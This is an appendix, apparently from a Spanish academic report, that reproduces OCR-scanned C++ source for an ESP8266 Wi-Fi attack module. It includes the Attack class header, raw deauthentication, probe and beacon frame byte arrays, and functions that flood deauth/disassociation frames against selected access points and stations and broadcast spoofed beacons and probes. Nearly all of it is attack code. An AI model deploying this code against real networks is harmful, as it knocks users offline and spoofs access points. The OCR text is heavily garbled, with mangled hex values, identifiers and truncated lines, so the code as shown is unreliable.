Scan scanj

uintd t wifi_channel;
uint& t broadcast[6];
uint32_t currentTime;

bool macBroadcast(uintd t* mac);

void getRandomMac(uint8 t* mac);

void setOutputPower(float dBm);

String macToStr(const wintd_t* mac);

String bytesToStr(const uint8 t* b, uint32 t size);
void setWifiChannel({uint& t ch, bool force);

bool writeFile(String path, String& buf);

int8_t freeg0211 send(uint8_t* buffer, uintls_t len);

32 class Attack {
33 public:

24
35
36
37
38
39
48
41
432
43
24
45
45
47
43
49
5@
51
52
53
54
55
56
57
58

Attack();

void start();

void star“t{bocul beacon. bool deauth. bool deauthAll.
void stop();

void update();

void enableOutput();
void disableOutput();
void status();

String getStatusISON();

bool deauthAP(int num);
bool deauthStation(int num);
bool deauthMame(int num);

bool probe. bool outout.

bool deauthDevice(uint8 t* apMac, uint8 t* stMac, uint8 t reason, uint8 t ch);

bool sendBeacon(uint3 t tc);

bool sendBeacon(uint3 t* mac, const char® ssid, uint8 t ch, bool wpa2);

bool sendProbe(uint8 t tc);

bool sendProbe(uintd_t* mac, const char® ssid, uint3_t ch);

bool sendPacket(uintd t* packet, uintlé_t packetSize, uint8& t ch, bool force_ch);
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uint32 1




59
&1%]
51
62
63
54
&85
66
&7
68
69
Ja
71
T2
73
T4
Fi=]
76
77
Fi:l
79
80
81
32
83
84
85
86
87
38
89
Sa
91
92
93
24
95
96
a7
98
99
108
lel
182
183
1le4
185
106
1e7
188
109
11@
111
112
113
114
115
116
117
118
119
12@
121
122
123
124
125
126
127
128
129
13@
131
132

bool isRunning();

uint32_t
uint32_t
uint32_t
uint32_t
uint32_t
uint32_t

getDeauthPkts();
getBeaconPkts();
getProbePkts();
getDeauthMaxPkts();
getBeaconMaxPkts();
getProbeMaxPkts();
uint32_t getPacketRate();
private:
void
void
void
void

deauthUpdate();
deauthAllUpdate();
beaconUpdate();
probeUpdate();
void updateCounter();
bool
bool

false;
true;

running =
output =

struct AttackType {
bool active =
uintle_t
uintle_t
uintd t
uint32_t

packetCounter =
maxPkts =
tc =
time =

Is

AttackType deauth;
AttackType beacon;
AttackType probe;
bool deauthall = false;

uint32_t deauthPkts = @;
uint32_t beaconPkts a;
uint32_t probePkts a;

uint32_t tmpPacketRate
uint32_t packetRate

o
= @
P

uintg_t apCount = @;
uint8_t stCount = @;
uint8_t nCount = 8@;
int3_t tmpID = -1;

uintle_t packetSize =
uint32_t attackTime =

uint32_t attackStartTime
uint32_t timeout =

I
T w

[~~~
"

ore

fore

169

false; f/ if attack is activated
a; // how many packets are sent per second
a; // how many packets should be sent per second
a; // target counter, i.e. which AP or S5ID
a; // time last packet was sent
/f for counting how many packets per second

// random mac address for making the beacon packets
uintd_t mac[6] = { @xAA, exBB, exCC, exe®, ex11l, ex22 };

uint8_t deauthPacket[26] = {

/* @ -1 */ exCe, exea,
/* 2 - 3 */ oxee, exea,
/* 4 - 9 */ @xFF, @xFF,
/* 1@ - 15 */ ewCC, exCC,
/* 16 - 21 */ exCC, @xCC,
/* 22 - 23 */ oxee, ex0e,
/* 24 - 25 */ ox0l, Ox00

1;

uint8_t probePacket[68] = {

S8 - 1 * ex40, oxead,
S22 - 3 */ exeo, oxea,
/* a4 -9 */ exff, exff,
S* 18 - 15 */ 8xAA, OxAA,
/* 16 - 21 */ oxff, exff,
J* 22 - 23 */ Bx00, Ox00,
f* 24 - 25 */ Gx00, Ox20,

@xFF,
exCC,
axCC,

[/ type, subtype c@: deauth (a@
// duration (SDK takes care of
@xFF, @xFF, @xFF, // reciever (target)
exCC, @xCC, 8xCC, // source (ap)
@xCC, @xCC, @xCC, // BSSID (ap)
[/ fragment & squence number

[/ reason code (1 = unspecified
exff, oxtf, o
OxAA, EAA, %)
oxff, oxff, o



133
134
135
136
137
138
139
148
141
142
143
144
145
146
147
148
149
15@
151
152
153
154
155
156
157
158
159
168
161
162
163
164
185
166
167
168
169
17@
171
172
173
174
175
176
177
173
179
18@
181
182
183
184
185
186
187
188
189
198
191
192
193
194
195
196
197
198
199
208
201
202 };

Is

/* 26 - 57 */ ex2@, Ox20,
0x20, ox20,
ox28, ex2a,
0x20, ox20,
ox20, ex20e,
ox20, @x20,
ox20, ex20,
ox20, @x20,
/* 58 - 59 */ gx@1, Ox08, /)
/* 68 =/ exs2, I
/* 61 */ exs4, I
/* 62 *{ exsb, I
/* 83 */ o696, I
/* a4 =/ ex24, Iz
/= 65 =/ ex38, I
/= 66 */ @x48, I
/¥ 87 */ Bwbc i
uintd_t beaconPacket[189] = {
/* @ - 3 */ @xBe, Ox00,
/= 4 -9 */ @exFF,  @xFF,
/= 18 - 15 */ exe1, exez,
/* 16 - 21 */ ewxel, @xaz,
// Fixed parameters
/* 22 - 23 ¥/ ox08, Ox00,
J* 24 - 31 */ @xB3,  @x51,
/* 32 - 33 */ ex64, @xe,
/= 34 - 35 */ @x31, @x00,
// Tagged parameters
// S5ID parameters
/* 36 - 37 */ exe0, x20,
/* 38 - 69 */ @x28, ox20,
ox20, 8x20,
%20, 8x20,
Bx28, ax2a,
8x28, 8x2@,
2x28, ex2a,
2x28, @x28,
2x20, ex2a,
// Supported Rates
J* 78 - 71 Y/ exel, @xas ,
/* 72 */ @xB2,
/* 73 */ BxB4,
/* 74 */ @x8b,
/% 75 */ @x96,
/* 76 */ Bx24,
/* 77 */ ex3e,
/* 78 */ ox48,
/% 79 */ @x6c,
/{ Current Channel
/* BB - B1 */ @x03, axa1,
/* B2 */ exe1,
// RSN information
/= B3 - 84 */ ox38, 0x18,
/* B5 - B6 */ exPl, ex0a,
/= B7 - 90 */ ox00, oxof,
/= 91 - 92 */ @x@2, @x00,
/* 93 - 180 */ exee, exef,
/* 181 - 182 */ 8xBl, exea,
/* 103 - 106 */ ox0a, exef,
/¥ 187 - 188 */ ox00, Oxoo

Tag Mumber: Supported Rates (1), Tag

1(B)
2(B)
5.5(B)
11(B)
18

24

36

54

ex2e,
ox28,
ex2e,
2x28,
ex28,
ex20,
ex28,
ex20,

@xFF,
%03,
axe3,

oxf7,

ox2a,
ex2a,
ex2a,
ex2a,
ax2a,
ex2a,
ax2a,
ex2a,

ff Tag: Set 55ID length, Tag length:

@x20,
ox20,

ax28,
ax28,
ax28,
ax28,
ax20,
ax2e,

@xac,

@xac,

@xac,

length: 8

e,
axFF,
axad ,
Bxed ,

eaxsf,

32
ox20,
ox20,

8x20,
ox20,
8x20,
8x20,
8x20,
ax20,

ox02,

Exigq ,

ox02,

/
/i
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S55ID

Tag: 5
1(B)
2(B)
5.5(B)
11(8)
18

24

36

54

Channe.
Curremn
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Anexo 4: Cddigo de Implementacion de Ataques de Deautenticacion, Probe y Beacon

en Redes Inalambricas.

1 #include "Attack.h”

2

3 #include "settings.h"

a

5 Attack: :attack() {

6 getRandomMac (mac) ;

7

8 if (settings::getAttackSettings().beacon_interval == INTERVAL_15) {
] // 1s beacon interval

1a beaconPacket[32] = Bxe8;
11 beaconPacket[33] = ex@3;
12 T else {

13 // 188ms beacon interwval
14 beaconPacket[32] = Bx64;
15 beaconPacket[33] = 8x@@;
16 ¥

17

is deauth.time = currentTime;

iz beacon.time = currentTime;

28 probe.time = currentTime;
21}

22

23 void Attack::start() {

24 stop();

25 protln(A START);

26 attackTime = currentTime;
27 attackStartTime = currentTime;
28 accesspoints.sortAfterChannel();
29 stations.sortAfterChannel();
2@ running = true;

31}

32

233 void Attack::start(bool beacon, bool deauth, bool deauthaAll, bool probe, bool output, uint32 {

34 Attack::beacon.active = beacon;

35 Attack::deauth.active = deauth || deauthall;
36 Attack: :deauthAll = deauthall;

37 Attack::probe.active = probe;

38

39 Attack: :output = output;

4@ Attack: :timeout = timeout;

41

4z S/ if (((beacon || probe) &% ssids.count() > @)
a3 /4 =scan.countSelected() > @)){

a4 if (beacon || probe || deauthall || deauth) {
45 start{);

46 T else {

a7 protln{A_NO_MODE_ERROR);

48 accesspoints.sort(};

49 stations.sort();

58 stop();

51 ¥

52 }

53

54 void Attack::stop() {

55 if {(running) {

56 running = false;
57 deauthPkts = @;

58 beaconPkts = @;

59 probePkts = @;

&8 deauth.packetCounter = @;

61 beacon.packetCounter = @;

52 probe.packetCounter = 8;

63 deauth.maxPkts = @;

(=3 beacon.maxPkts = @;

65 probe.maxPkts = @;

66 packetRate = @;

&7 deauth.tc = @;

&8 beacon.tc = @;

[ probe.tc = @;

7a deauth.active = falsej;
71 beacon.active = fTalse;
72 probe.active = false;
73 protln{a_STOP);

74 T

{deauthAall && scan.countAll(}) > @)




75}
76

77 bool Attack::isRunning() {

78
79}
8@

81 void Attack: :updateCounter() {

82
83
84
85
86
87
88
89
%@
91
92
93
94
1
95
97
o8
99

180

181

182

183

184

185

185

187

188

189

110

111

112

113

114

115

115

117

118

119

128

121

122

123

124

125

126

127

128 }

129

138 void Attack::status() {

131
132
133
134
135
136
137 }
138

139 String Attack::getStatusISON() {

14@
141
142
143
144
145
145
147
1438

172

return running;

// stop when timeout is active and time is up

if ((timeout > @) && (currentTime - attackStartTime >= timeout)) {
protln{A_TIMEQUT) ;
stop();
return;

¥

// deauth packets per second
if (deauth.active) {
if (deauthAll) deauth.maxPkts = settings::getaAttackSettings().deauths_per_target *
(accesspoints.count() + stations.count() * 2 - names.
else deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
(accesspoints.selected() + stations.selected() * 2 + names.sele
1} else {
deauth.maxPkts = @;

¥

// beacon packets per second
if (beacon.active) {

beacon.maxPkts = ssids.count(};

if (settings::getAttackSettings().beacon_interval == INTERVAL_1868MS) beacon.maxPkts *
1 else {

beacon.maxPkts = @;

¥

// probe packets per second
if {(probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_fra
else probe.maxPkts = @;

/{ random transmission power
if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutput
else setOutputPower(20.5f);

// reset counters
deauthPkts = deauth.packetCounter;

beaconPkts = beacon.packetCounter;
probePkts = probe.packetCounter;
packetRate = tmpPacketRate;
deauth.packetCounter = 8;
beacon.packetCounter = 8;
probe.packetCounter = 8;

deauth.tc = 8;

beacon. tc = @;

probe.tc = 8;

tmpPacketRate =8;

char s[12@];

sprintf(s, str(
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon
probe.maxPkts);
prot(String(s));

String json = String(OPEN_BRACKET);

json 4= String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSele
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKE
json += S5tring(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count())}
beaconPkts) + String(COMMA)Y + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count())
probePkts) + String(COMMA) + String(probe.maxPkts) + String({CLOSE_BRACKET) + String(C
json += String(packetRate);




145
150
151
152
153
154
155
156
157
158
159
168
161
162
163
154
165
166
167
168
169
i7@
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
198
191
192
193
184
195
196
197
198
199
28a
201
202
283
204
205
2886
287
208
209
21a
211
212
213
214
215
216
217
218
219
228
221
222

b

Jjson +=

173

CLOSE_BRACKET;

return json;

void Attack::update() {

b

if (Mrunning || scan.isScanning()) return;
apCount = accesspoints.count();

stCount = stations.count();

nCount = names.count();

/4 runfupdate all attacks
deauthUpdate();
deauthallUpdate();
beaconUpdate();
probeUpdate();

// each

second

if {currentTime - attackTime > 1080) {
attackTime = currentTime; // update time
updateCounter();

if (output) status(); // status update
getRandomMac (mac) ; // generate new random mac

void Attack::deauthUpdate() {
if (ldeauthAll &R deauth.active &R (deauth.maxPkts > @) && (deauth.packetCounter < deauth
if (deauth.time <= currentTime - (1008 / deauth.maxPkts)) {

h

Ji APs
if ((apCount > @) && (deauth.tc < apCount)) {
if (accesspoints.getSelected(deauth.tc)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tct+;

s

J/{ Stations
else if ((stCount > ®) && (deauth.tc >= apCount) &8 (deauth.tc < stCount + apCount
if (stations.getSelected({deauth.tc - apCount)) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else deauth.tc++;

¥

/4 Names
else if ((nCount > @) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount +
if (names.getSelected(deauth.tc - stCount - apCount)) {
deauth.tc += deauthName(deauth.tc - stCount - apCount);
} else deauth.tct+;

¥

/4 reset counter
if (deauth.tc »= nCount + stCount + apCount) deauth.tc = @;

void Attack::deauthAllupdate() {
if (deauthall && deauth.active && (deauth.maxPkts > @) &% (deauth.packetCounter < deauth.mw
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {

/f APs
if ((apCount » @) &% (deauth.tc < apCount)) {
tmpID = names.findID(accesspoints.getMac(deauth.tc));

if (tmpID < @) {
deauth.tc += deauthAP{deauth.tc);

} else if ([lnames.getSelected(tmpID)) {
deauth.tc += deauthAP({deauth.tc);

} else deauth.tct+;

¥

JJ Stations
else if ((stCount > @) && (deauth.tc »= apCount) && (deauth.tc < stCount + apCount



223 tmpID = names.findID(stations.getMac({deauth.tc - apCount));

224

225 if (tmpID < @) {

226 deauth.tc += deauthstation{deauth.tc - apCount);

227 } else if (lnames.getSelected(tmpID)) {

228 deauth.tc += deauthstation{deauth.tc - apCount);

229 } else deauth.tc++;

238 ¥

231

232 // Names

233 else if ((nCount > @) &8 (deauth.tc >= apCount + stCount) &% (deauth.tc < apCount
234 if (lnames.getSelected({deauth.tc - apCount - stCount)) {

235 deauth.tc += deauthMame(deauth.tc - apCount - stlount);

236 } else deauth.tc++;

237 ¥

238

239 [/ reset counter

24@ if (deauth.tc >= nCount + stCount + apCount) deauth.tc = @;

241 1

2432 ¥

243 }

244

245 void Attack::probeUpdate() {

246 if (probe.active &% (probe.maxPkts > @) &% (probe.packetCounter < probe.maxPkts)) {

247 if (probe.time <= currentTime - (1000 / probe.maxPkts)) {

248 if (settings::getAttackSettings().attack_all ch) setWifiChannel(probe.tc % 11, try
249 probe.tc += sendProbe(probe.tc);

25@

251 if (probe.tc »= ssids.count()) probe.tc = @;

252 1

253 ¥

254 }

255

256 void Attack::beaconuUpdate() {

257 if (beacon.active && (beacon.maxPkts > @) && (beacon.packetCounter < beacon.maxPkts)) {
258 if (beacon.time <= currentTime - (180@ ,/ beacon.maxPkts)) {

259 beacon.tc += sendBeacon(beacon.tc):

268

261 if (beacon.tc »= ssids.count()) beacon.tc = @;

262 T

263 T

264 }

265

266 bool Attack::deauthStation(int num) {

267 return deauthDevice(stations.getAPMac({num), stations.getMac(num), settings::getAttackSettd
268 }

269

278 bool Attack::deauthAP(int num) {

271 return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().ded
272 }

273

274 bool Attack::deauthMName(int num) {

275 if (names.isStation(num)) {

276 return deauthDevice(names.getBssid(num), names.getMac(num}), settings::getAttackSetting
277 T else {

278 return deauthDevice(names.getMac({num), broadcast, settings::getAttackSettings().deauth
279 H

288 }

281

282 bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8 t reason, uintd_t ch) {

233 if (lstMac) return false; // exit when station mac is null

234

285 // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)}); // for debugging
286

287 bool success = false;

288

289 // build deauth packet

290 packetSize = sizeof(deauthPacket);

291

292 uint8 t deauthpkt[packetSize];

293

294 memcpy (deauthpkt, deauthPacket, packetSize);

295

296 memcpy (&deauthpkt[4], stMac, 6);
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297 memcpy (&deauthpkt[10], apMac, 6);

293 memcpy (&deauthpkt[16], apMac, 6);

299 deauthpkt[24] = reason;

Joa

391 // send deauth frame

382 deauthpkt[@] = exce;

303

o4 if (sendPacket({deauthpkt, packetSize, ch, true)) {
385 success = true;

306 deauth.packetCounter++;

367 ¥

308

309 // send disassociate frame

31@ uint8_t disassocpkt[packetSize];

311

312 memcpy (disassocpkt, deauthpkt, packetSize);

313

314 disassocpkt[@] = @xa@;

315

316 if (sendPacket(disassocpkt, packetSize, ch, false)) {
317 success = true;

318 deauth.packetCounter++;

319 ¥

32@

321 // send another packet, this time from the station to the accesspoint
322 if (ImacBroadcast(stMac)) { // but only if the packet isn't a broadcast
323 // build deauth packet

324 memcpy (&disassocpkt[4], apMac, 6);

325 memcpy { &disassocpkt[10], stMac, 6);

326 memcpy {&disassocpkt[16], stMac, 6);

327

328 // send deauth frame

329 disassocpkt[@] = exce;

33@

331 if (sendPacket(disassocpkt, packetSize, ch, false)) {
332 success = true;

333 deauth.packetCounter++;

334 ¥

335

336 // send disassociate frame

337 disassocpkt[@] = @xa@;

338

339 if (sendPacket(disassocpkt, packetSize, ch, false)) {
34 success = true;

341 deauth.packetCounters+;

342 T

343 ¥

344

345 if (success) deauth.time = currentTime;

346

347 return success;

348 }

349

358 bool Attack::sendBeacon(uint8_t tc) {

351 if (settings::getAttackSettings().attack_all_ch) setWifiChannel({tc % 11, true);
352 mac[5] = tc;

353 return sendBeacon(mac, ssids.getMName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
354 }

355

356 bool Attack::sendBeacon{uint3_t* mac, const char* ssid, uint&_t ch, bool wpal) {
357 packetsize = sizeof(beaconPacket);

358

359 if (wpa2) {

368 beaconPacket[34] = @x31;

361 } else {

362 beaconPacket[34] = @x21;

363 packetsize -= 26;

364 ¥

365

366 int ssidlLen = strlen(ssid);

367

368 if (ssidLen > 32) ssidlLen = 32;

369

37a memcpy (&beaconPacket[18], mac, 6);
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371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395 }
396

memcpy (&beaconPacket[16], mac, 6);
memcpy (&beaconPacket[38], ssid, ssidlLen);

beaconPacket[82] = ch;

[ R —
uintl6e_t tmpPacketSize = (packetSize - 32) + ssidlLen
uint8_t* tmpPacket = new uints8_t[tmpPacketSize];

3

memcpy (&tmpPacket[®], &beaconPacket[@], 38 + ssidlLen);

tmpPacket[37] = ssidlLen;
memcpy (&tmpPacket[38 + ssidlLen], &beaconPacket[7@],

bool success = sendPacket(tmpPacket, tmpPacketSize,

if (success) {
beacon.time = currentTime;
beacon.packetCounter++;

b

wpa2 @ 39

ch,

delete[] tmpPacket; // free memory of allocated buffer

return success;

397 bool Attack::sendProbe(uintd_t tc) {
if (settings::getAttackSettings().attack_all_ch) setWifiChannel{tc % 11, true);

398
EL=T)
480
481 }
482

4832 bool Attack::sendProbe(uint&_t* mac, const char® ssid,

484
485
486
487
408
4@9
418
411
412
413
414
415
416
417
118
419 }
47a

mac[5] = tcj

false);

return sendProbe({mac, ssids.getName(tc).c_str(), wifi_channel);

packetSize = sizeof(probePacket);
int ssidlLen = strlen(ssid);

if (ssidlLen > 32) ssidlLen = 32;

memcpy (&probePacket[10], mac, 6);
memcpy (&probePacket[26], ssid, ssidLen);

if (sendPacket(probePacket, packetSize, ch, false))
probe.time = currentTime;
probe.packetCounter++;
return true;

¥

return false;

{

uint&_t ch) {

'
'

I’
'
13); //
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calc size
create packet buff

copy fTirst half of
update SSID length
copy second half o

421 bool Attack::sendPacket(uint®_t* packet, uintlé_t packetSize, uintd_t ch, bool force_ch) {

422
423
424
425
426
427
428
429
438
431
432
433}
434

J/ Serial.println(bytesToStr({packet, packetSize));

// set channel
setWifiChannel(ch, force_ch);

J/ sent out packet

bool sent = wifi_send pkt_freedom(packet, packetSize, @) == @;

if (sent) ++tmpPacketRate;

return sent;

435 void Attack::enableOutput() {

436
437
438 }
439

output = true;
prntln({A_ENABLED OUTPUT);

4408 void Attack::disableOutput() {

441
443
443 }
444

output = false;
protln(A DISABLED OUTPUT);
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445 uint32_t Attack::getDeauthPkts() {

446 return deauthPkts;

447 }

448

449 uint32_t Attack::getBeaconPkts() {
458 return beaconPkts;

451 }

452

453 uint32_t Attack::getProbePkts() {
454 return probePkts;

455 }

456

457 uint32_t Attack::getDeauthMaxPkts() {
458 return deauth.maxPkts;

459 }

450

461 uint32_t Attack::getBeaconMaxPkts() {
462 return beacon.maxPkts;

453 }

464

465 uint32_t Attack::getProbeMaxPkts() {
466 return probe.maxPkts;

467 }

468

469 uint32_t Attack::getPacketRate() {
478 return packetRate;

4711
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